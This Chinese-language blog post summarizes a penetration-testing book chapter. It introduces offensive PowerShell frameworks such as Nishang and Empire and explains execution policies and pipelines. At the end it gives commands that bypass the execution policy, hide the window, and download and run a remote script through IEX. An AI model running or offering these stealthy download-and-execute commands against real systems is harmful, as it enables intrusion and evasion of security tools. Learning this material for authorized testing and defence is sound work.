欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PowerShell简介 及 渗透工具

程序员文章站 2024-03-15 19:59:42
...

0X00 内容

  • 常见的PowerShell渗透工具
  • PowerShell简介

 

0X01 常见的PowerShell渗透工具

  • PowerSplit:这是众多PowerShell工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
  • Empire:基于PowerShell的远程控制工具,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制。
  • PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用。

 

0X02 PowerShell简介

1、PowerShell的优点:

  • Windows7以上的操作系统默认安装
  • PowerShell脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载PowerShell脚本并执行
  • 目前很多工具都是基于PowerShell开发的
  • 很多安全软件并不能检测到PowerShell的活动
  • cmd.exe通常会被阻止运行,但是PowerShell不会
  • 可以用来管理活动目录

2、输入Get-Host$PSVersionTable.PSVERSION命令查看PowerShell版本

PowerShell简介 及 渗透工具

3、PowerShell的基本概念

  • PS1文件:一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的拓展名
  • 执行策略:为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限
  • 在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行的执行策略
  1. Get-ExecutionPolicy
  2. Restricted:脚本不能运行(默认设置)
  3. RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
  4. AllSigned:仅当脚本由受信任的发布者签名时才能运行
  5. Unrestricted:允许所有的脚本运行。

PowerShell简介 及 渗透工具

此时,执行ps1脚本是这样的

PowerShell简介 及 渗透工具

可以使用下面的cmdlet命令设置PowerShell的执行策略,需要管理员权限

Set-ExecutionPolicy <policy name>
  • 管道
  1. 管道的作用:是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
  2. 如:停止所有当前运行的、以“P”字符开头命名的程序,命令如下
get-process P* | stop-process
  • 在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式。PowerShell命令不区分大小写
  • 在渗透时,可以采用以下方法来绕过策略来执行脚本
//绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File XXX.ps1

//本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File XXX.ps1

//用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile  IEX(New-Object.WebClient).DownloadString("XXX.ps1");[Parameters]

 


根据《Web安全攻防——渗透测试实战指南》第6章整理  是该书的2018年7月第1版

 

 

 

 

相关标签: PowerShell